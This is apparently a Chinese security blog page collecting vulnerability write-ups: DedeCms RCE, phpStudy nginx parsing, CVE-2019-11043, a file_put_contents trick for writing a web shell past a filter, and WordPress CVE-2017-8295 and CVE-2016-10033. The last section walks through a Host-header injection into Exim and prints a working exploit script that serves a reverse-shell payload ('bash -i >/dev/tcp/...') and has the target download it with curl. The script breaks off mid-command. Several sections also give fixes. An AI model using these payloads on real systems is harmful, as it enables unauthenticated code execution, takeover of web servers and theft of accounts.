DedeCms V5.8.1 RCE 漏洞 技术文章
昨天在一个老外的博客看到了他的一篇文章,讲的就是DedeCms 的预览版本 V5.8.1 存在 RCE 漏洞(远程代码执行漏洞);我刚刚复现了下,确实是存在的。
POC:
GET /plus/flink.php?dopost=save&c=pwd HTTP/1.1 Host: dedecms.test Pragma: no-cache Cache-Control: n...
禅道≤12.4.2后台getshell漏洞复现分析 技术文章
简单的介绍下禅道:
禅道 项目管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。
首先搭建环境,安装禅道12.4.2,开源版下载:https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html 。
我在Mac上使...
emlog 6.0特别版的BUG些 emlog
声明:本文仅供爱好者折腾参阅,且由于我这是我很久之前的手记,如有遗漏,表意不明的请多包涵。
一点关于安装出现错误编号2002的可能办法:
第一个就是发文章标签打不上之数据库标签表 emlog_tag
从emlog5.3.1升级过来或者是自己瞎折腾后发现发文章标签打不上或者没了的多半是这个原因。
gid 的值 开头和结尾必须是 英文逗号 不然 问的标签 不能存入 且...
【0day】phpStudy(小皮面板)最新版v8.1.0.7 nginx 解析漏洞 业界新闻
一、phpStudy(小皮面板)简介:
phpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。
二、漏洞简介:
自从2019年phpStudy爆出的后门事件已经过去一段时间了,期间也没有爆出过什么漏洞,并且现在phpStudy(小皮面板)已经改版了,这次爆出的漏洞是nginx的解析漏洞,也就是存在已久的/xx.php解析漏洞
漏洞原理:
1、由于错误配置(但是测试的时候是安装完后的默认配置,我在官方论坛也反馈了,他们还狡辩。。。)导致nginx把以.php结尾的文件交给fastcgi处理,为此可以构造http://www.xxx.com/test.gif/xx.php (任何服务器端不存在的php文件均可,比如a.php)
2、但是fastcgi在处理xx.php文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了/test.gif。
3、 最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将.png等文件当做代码解析。
localhost_80.conf原始配置:
location ~ \.php(.*)$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_split_path_info ^((?U).+\.php)(/?.+)$; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info; include fastcgi_params; }
三、漏洞复现:
测试环境:phpStudy(小皮面板)8.1.0.7 + 图片马(一定要注意不是那种copy的马子 有几率失败,可以下载这个马子测试)
复现如图:
执行系统命令:
四、修复
php.ini 中 fix_pathinfo 禁用为0
cgi.fix_pathinfo=0
nginx.conf添加如下代码
location ~ \.php(.*)$ { if ( $fastcgi_script_name ~ \..*\/.*php ){ return 403; } fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_split_path_info ^((?U).+\.php)(/?.+)$; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info; include fastcgi_params; }
请各位师傅下手轻点!注意保重!哈哈哈!
CVE-2019-11043-PHP远程代码执行漏 业界新闻
0x00背景介绍
来自Wallarm的安全研究员Andrew Danau在9月14号至16号举办的Real World CTF中,向服务器发送%0a(换行符)时,服务器返回异常信息,疑似存在漏洞
0x01漏洞描述
当Nginx使用特定的fastcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置。
当fastcgi_split_path_info字段被配置为 ^(.+?.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,该配置已被广泛使用,危害较大
0x02漏洞编号
CVE-2019-11043
0x03受影响版本
当Nginx + php-fpm 的服务器有如下配置的时候,都会出现RCE漏洞
location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }
0x4漏洞复现环境:
执行如下命令启动有漏洞的Nginx和PHP:
docker-compose up -d
环境启动后,访问http://your-ip:8080/index.php即可查看到一个默认页面。
0x5漏洞复现
使用https://github.com/neex/phuip-fpizdam中给出的工具,发送数据包:
$ go run . "http://your-ip:8080/index.php" 2019/10/23 19:41:00 Base status code is 200 2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate 2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795] 2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect 2019/10/23 19:41:02 Trying to set "session.auto_start=0"... 2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS 2019/10/23 19:41:02 Performing attack using php.ini settings... 2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/10/23 19:41:02 Trying to cleanup /tmp/a... 2019/10/23 19:41:02 Done!
可见,这里已经执行成功。
我们访问http://your-ip:8080/index.php?a=id,即可查看到命令已成功执行:
注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id
时需要多访问几次,以访问到被污染的进程。
0x6漏洞刨析
因为“fpm_main.c”文件的第1150行代码中由于\n(%0a)的传入导致nginx传递给php-fpm的PATH_INFO为空。
https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1150
进而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配置生效的情况下可以触发任意代码执行。
0x07修复建议
- 修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符
- 暂停使用 nginx+php-fpm 服务
- 根据自己实际生产环境的业务需求,将以下配置删除
fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info;
参考:
https://twitter.com/ahack_ru/status/1186667192139636740
https://github.com/neex/phuip-fpizdam
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
利用file_put_contents()函数写shell的小trick 技术文章
首先不了解PHP的file_put_contents()函数的自己去这里看一下官方给出的解释:
http://php.net/manual/zh/function.file-put-contents.php
思路大致如下:
file_put_contents()在写入文件时的第二个参数可以传入数组,如果是数组的话,将被连接成字符串再进行写入。在正则匹配前,传入的是一个数组。得益于PHP的弱类型特性,数组会被强制转换成字符串,也就是Array,Array肯定是满足正则\A[ _a-zA-Z0-9]+\z的,所以不会被拦截。这样就可以绕过类似检测“<?”之类的waf。
下面是测试的代码:<?php
header("Content-type: text/html; charset=utf-8");
/*
测试file_put_contents数组写shell
modify:Mrxn
Blog:https://mrxn.net/
*/
echo "just a shell test!";
$text = $_GET['text'];
if (preg_match('[<>?]', $text)) {
die('erro!');
}
echo '<br>'.'下面就是text的内容:'.'<br>';
echo $text;
echo '<br>';
var_dump($text) ;
file_put_contents('config.php', $text);
?>
我们访问后,通过自己定义text可以实时得到反馈,便于测试:
代码检测了写入的内容是否存在“<”“>”“?”等字符。根据上面的trick,我们可以通过传入一个数组来达到写入shell的目的。可以看到虽然有个警告。但config.php确实被写入了。<? php phpinfo(); 如下所示:
注:这个不是我发现的,是在P牛的小蜜圈发现的.只是自己亲自测试了一下,将代码略作修改,便于新手理解!)_我就是说我自己是个新手-_- 囧| 逃 :)
我们下次再见...
ps:友情链接里面,有看到的自己帮忙加上,一个月后没有加的我就删除了.
0day来袭WordPress Core <= 4.7.4全版本密码重置漏洞 渗透测试
这两天的wordpress总是不平静....今天刚刚爆出0day....
漏洞概述
漏洞编号:CVE-2017-8295
漏洞发现者:dawid_golunski
漏洞危害:中/高
影响版本:WordPress Core <= 4.7.4
漏洞描述:Wordpress的密码重置功能,其中存在漏洞在某些情况下可能允许攻击者在未经身份验证的情况下获取密码重置链接。这种攻击可导致攻击者获得未经授权的WordPress帐户访问权限。该漏洞的触发条件比较苛刻。
漏洞细节
默认情况下,该漏洞由于WordPress使用不受信任的数据。当进行密码重置时,系统会发送相关密码重置链接到所有者帐户相关联的电子邮件。
这可以在创建From的代码片段中观察到
调用PHP mail()函数前的电子邮件头:
------[ wp-includes/pluggable.php ]------ ... if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } ...
我们可以看到,Wordpress正在使用SERVER_NAME变量来获取主机名,该服务器为了创建一个From / Return-Path 地址,包含重置密码的相关信息的电子邮件。但是,Web服务器(如Apache)使用客户端提供的主机名默认设置SERVER_NAME变量
(在HTTP_HOST 头内):
https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
因为SERVER_NAME可以修改,攻击者可以将其设置为任意他选择的域。例如:
attackers-mxserver.com
这将导致Wordpress将$ from_email设置为
并因此导致发送电子邮件与From / Return-Path设置为此恶意地址。
至于攻击者能够修改哪个电子邮件头 - From / Return-Path,这取决于服务器环境。更多可以阅读
http://php.net/manual/en/function.mail.php
From头在Windows下还设置了Return-Path。
根据邮件服务器的配置,可能会导致发送给受害者WordPress用户的电子邮件头中设置的恶意的From / Return-Path地址。
这可能允许攻击者拦截包含该邮件的邮件,密码重置链接在某些情况下需要用户交互以及没有用户互动。
一些示例场景:
如果攻击者知道受害者用户的电子邮件地址。他们可以执行先前的操作DoS攻击受害者的电子邮件帐户(例如发送多个邮件)大文件超过用户的磁盘配额或攻击DNS服务器)
导致密码重置邮件被接收服务器拒绝到达目的地,从而在攻击者的服务器上接收邮件。
一些自动回复者可能附上发送到该机构的电子邮箱的副本
自动回复的消息
发送多个密码重置电子邮件强制用户回复
消息查询说明无限密码重置电子邮件。
包含密码链接的回复将被发送给攻击者。
等等
概念证明
如果攻击者将类似于下面的请求发送到默认的Wordpress
-----[ HTTP Request ]---- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: injected-attackers-mxserver.com Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password ------------------------
Wordpress将触发管理员用户帐户的密码重置功能。
由于修改了HOST 头,SERVER_NAME将被设置为攻击者设置的主机名。因此,Wordpress会将以下标题和电子邮件正文传递给/ usr / bin / sendmail:
------[ resulting e-mail ]----- Subject: [CompanyX WP] Password Reset Return-Path: <[email protected]> From: WordPress <[email protected]> Message-ID: <[email protected]> X-Priority: 3 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit
假如有人要求为以下帐户重设密码:
http://companyX-wp/wp/wordpress/
Username: admin
要重置密码,请访问以下地址:如果这是一个误会,只要忽略这封电子邮件,什么都不会发生。
< http://companyX-wp/wp/wordpress/wp-login.php?action = rp&key = AceiMFmkMR4fsmwxIZtZ&login = admin>
我们可以看到,Return-Path/From和Message-ID的字段都有攻击者设置的域。
可以使用一个bash脚本替换/ usr / sbin / sendmail来执行头文件的验证
bash脚本:
#!/bin/bash
cat > /tmp/outgoing-email
解决方案
目前没有官方解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName强制执行静态SERVER_NAME值
https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
这个问题首先向WordPress安全团队多次报道,第一份报告于2016年7月发送。
由于这种情况没有进展,没有官方补丁,开始向公众发布。
参考
https://w3techs.com/technologies/details/cm-wordpress/all/all
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
WordPress<4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频) 渗透测试
漏洞概述
漏洞编号:CVE-2016-10033
漏洞发现者:dawid_golunski
漏洞危害:严重
影响版本:WordPress <4.7.1
漏洞描述:远程攻击者可以利用该漏洞执行代码
漏洞细节
这个漏洞主要是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码中的体现,该漏洞不需要任何的验证和插件,在默认的配置情况下就可以利用。远程攻击者可以利用该漏洞执行代码。由于该漏洞影响比较大,通过和官方协商,决定推迟更新wordpress漏洞细节。
漏洞代码:
if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); $phpmailer->setFrom( $from_email, $from_name );
WordPress 根据SERVER_NAME 服务器头设置电子邮件域,当WordPress wp_mail()函数被调用来发送电子邮件时(例如,用户注册,忘记密码等)。可以看到from是这样的:
$from_email = 'wordpress@' . $sitename;
然后将其过滤并传递到PHPMailer的易受攻击的setFrom()函数中,相关细节请回顾:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code -exec-CVE-2016-10033-Vuln.html
注入
可以在Apache的默认配置上操作SERVER_NAME服务器头。Web服务器(最常见的WordPress部署)通过HTTP请求中的HOST头。
为了验证这点,请看vars.php请求与响应的演示:
GET /vars.php HTTP/1.1 Host: xenialINJECTION HTTP/1.1 200 OK Server: Apache Array ( [HTTP_HOST] => xenialINJECTION [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu) [SERVER_NAME] => xenialinjection ...
我们可以看到,在HOST头文件中附加到主机名的INJECTION字符串 复制到HTTP_HOST和SERVER_NAME PHP变量。
使用这个HOST头的例子,如果攻击者触发了wp_mail()函数
通过使用WordPress的忘记密码功能,HTTP请求将类似于:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 56 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close user_login=admin&redirect_to=&wp-submit=Get+New+Password
并将导致以下参数传递到/ usr / sbin / sendmail:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [[email protected]]
这里需要注意的是第三个参数。电子邮件的域名部分匹配请求的HOST头,小写“inject”除外。
绕过过滤
为了利用PHPMailer的mail()注入漏洞,攻击者会将参数附加到域部分。但是,过滤/验证这个地方(在wordpress方面以及PHPMailer库方面)都会
防止攻击者注入空字符(空格或TAB),因此从注入参数到sendmail binary 。
例如,如果攻击者将HOST头修改为以下内容:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT SPACE
验证将导致无效的域部分错误,并且WordPress应用程序将退出http响应:
HTTP/1.0 500 Internal Server Error
在这种情况下,PHPMailer函数永远不会被执行(sendmail binary 不会被执行)
PHPMailer库的validateAddress()函数以及PHP的filter_var / FILTER_VALIDATE_EMAIL都符合RFC 822标准
详细请查看:
http://php.net/manual/en/filter.filters.validate.php
它禁止域部分中的空格,从而防止注入的附加参数到/ usr / sbin / sendmail。
应该注意的是注入额外的 \ 反斜杠到电子邮件的用户名部分
http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
对于攻击者来说,在这种情况下电子邮件的用户名部分很难利用。
RFC 822和注释语法
根据查看RFC 822规范,找到绕过验证的一种潜在的方法:
https://www.ietf.org/rfc/rfc822.txt
电子邮件地址可以包含注释
该文件给出了一个电子邮件示例,其中括号中有注释:
":sysmail"@ Some-Group. Some-Org, Muhammed.(I am the greatest) Ali @(the)Vegas.WBA
作为有效的电子邮件,域内部分的简化注释示例:
[email protected](comment)
经过进一步测试,结果发现注释部分可以包含空格在域名部分,可以作为一种绕过的方式。将验证域部分注入附加参数到sendmail binary。
通过注释语法注入参数
以下请求与HOST头设置为:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 injected tmp2)
不会触发错误,测试以下参数发送邮件 :
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwor[email protected](tmp1] Arg no. 4 == [injected] Arg no. 5 == [tmp2)]
我们已经设法绕过Wordpress过滤器的验证以及PHPMailer的内部setFrom()验证。
apply_filters( 'wp_mail_from_name', $from_name );
我们现在可以控制第四个参数('inject')并且可以注入。如果需要,参数3和参数5之间有更多的参数。在理论上,我们现在应该可以注入额外的参数到/ usr / sbin / sendmail包装器 从而实现任意代码执行。
通过Sendmail MTA执行代码
迄今为止,唯一已知的方法是通过远程执行代码执行PHPmailer(),PHPmailer()依赖于目标系统上的Sendmail MTA
最常见的Sendmail MTA向量类似于:
-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php
它通常通过输入信息写入一个包含php后门的日志文件
然而,这种技术有两个问题:
1)
Sendmail MTA不再常用,我们可以通过查看来验证
http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html
这表明Sendmail在Linux MTA中最不受欢迎。它不附带任何现代的Linux发行版。
2)
上述的Sendmail技术在这种情况下不起作用。如前所述,主机名复制到SERVER_NAME服务器变量被转换成小写,因此被注入Sendmail参数在请求中类似于:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -O -X tmp2)
将出现以下一组sendmail参数:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [[email protected](tmp1] Arg no. 4 == [-o] Arg no. 5 == [-x] Arg no. 6 == [tmp2)]
Sendmail会失败并出现错误,因为这里参数是区分大小写的,而-q和-x都不会工作。
通过Exim4 MTA执行代码
关于php mail()函数相关有趣的点(远程代码执行)可以关注这篇文章
https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
PHPMailer和其他电子邮件库中的漏洞同样也可以利用Exim4 MTA执行代码,基本格式如下
sendmail -be'$ {run {/ bin / true} {true} {false}}'
-be开关启用字符串扩展测试模式。上述扩展执行/ bin / true并返回值
同样,以下将执行id命令:
sendmail -be'$ {run {/ bin / bash -c“id”} {yes} {no}}'
注意:在使用Exim4的系统上,/ usr / sbin / sendmail只是一个符号链接:/ usr / sbin / sendmail - > exim4与Sendmail MTA无关。
这个点可以可靠的方式实现执行命令
$ run expand指定为参数,不需要将文件写入/ var / www / html或猜测目录路径
HOST头限制
看似简单的Exim4 向量在实践中变得棘手,因为上述扩展字符串不能在HOST头文件中运行。
请求格式如下:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 slash/ -X tmp2)
由于在HOST头中出现斜线/字符,Apache网络服务器将会拒绝该请求。$run函数不会正常执行,因为它需要一个完整的二进制文件的路径执行(这表明exim4使用exec()来执行命令,而不是通过system()执行命令)。
绕过限制
绕过HOST头的限制几种方法
尝试通过研究可用的Exim字符串:
http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html
嵌入式perl
其中一个扩展是:
$ {perl {foo} {argument1} {argument2} ...}
不过Perl在默认情况下没有启用perl,因此漏洞无法使用。
编码
对base64和HEX编码/解码功能进行了测试。但是似乎没有被exim4支持,测试的时候报错,如:
sendmail -be'$ {base64d:QUI =}'
失败:未知扩展运算符“base64d”
子字符串和环境变量
---------------------
另一个想法是结合使用已知的环境变量,用子字符串提取禁止的斜杠字符。例如,PATH环境变量包含斜杠:
PATH = / bin:/ usr / bin
因此是一个很好的候选变量。
$ {env {PATH}}可用于获取变量和连接$substring(子字符串)扩展,从而可以获得斜杠。在以下命令中可以看到:
sendmail -be'$ {substr {0} {1} {$ {env {PATH}}}}' /
不幸的是,这种技术导致了一个死胡同,环境变量PATH插入到HOST头文件中时转换为小写,在Linux下不工作。
子字符串和内部exim4变量
--------------------------------------
通过不断的测试发现以下变量可以使用:
sendmail -be '${spool_directory}' /var/spool/exim4
spool_directory变量默认存在,并且没有大写字母,因此可以可靠地执行。
斜杠可以替换为:
$ {SUBSTR {0} {1} {$ spool_directory}}
从而绕过HOST头的斜杠限制。
以下命令:
sendmail -be'$ {run {/ usr / bin / touch / tmp / test}}'
现在可以转换为:
sendmail -be'$ {run {$ {substr {0} {1} {$ spool_directory}} usr $ {substr {0} {1} {$ spool_directory}} bin $ {substr {0} {1} {$ spool_directory }} touch $ {substr {0} {1} {$ spool_directory}} tmp $ {substr {0} {1} {$ spool_directory}} test}}'
这在terminal 下正常工作,但是在HTTP请求中进行测试时:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
转化后是以下sendmail参数:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [[email protected](tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch] Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 7 == [tmp2)]
我们可以看到,有效载荷被分解成5和6的两个参数而不是一个,这样可以防止Exim正确地执行有效载荷。这个问题是由命令参数之间的空格引起的(空格'touch')
替换空格
------------------
首先,我们考虑环境变量IFS,环境变量不能像以前测试的那样正常工作。
经过深入研究,发现了一个方便的内部exim变量:
sendmail -be'$ {tod_log}' 2016-01-02 23:49:42
tod_log变量返回一个含有空格的当前日期格式。
类似于斜杠替换,$ substring + $ tod_log变量可以
用于替换测试的空格:
sendmail -be'$ {substr {10} {1} {$ tod_log}}'
PoC HTTP请求
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password
发送到WordPress核心应用程序时的上述请求会导致exim被调用,其中转化后的参数格式如下:
Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [[email protected](tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 6 == [tmp2)]
这里将在目标系统WordPress 4.6上创建一个测试test文件:
/usr/bin/touch /tmp/test
以上是全部的构造PoC的过程,可以通过这个逻辑进而反弹shell。
PoC
rev_host="192.168.57.1" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any [email protected] -be $rce_cmd null)" host_header="target(any [email protected] -be $rce_cmd null)" return 0 } #cat exploitbox.ans intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" intro2=" ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==" echo "$intro" | base64 -d echo "$intro2" | base64 -d if [ "$#" -ne 1 ]; then echo -e "Usage:\n$0 target-wordpress-url\n" exit 1 fi target="$1" echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" echo -e "\e[92m[+]\033[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 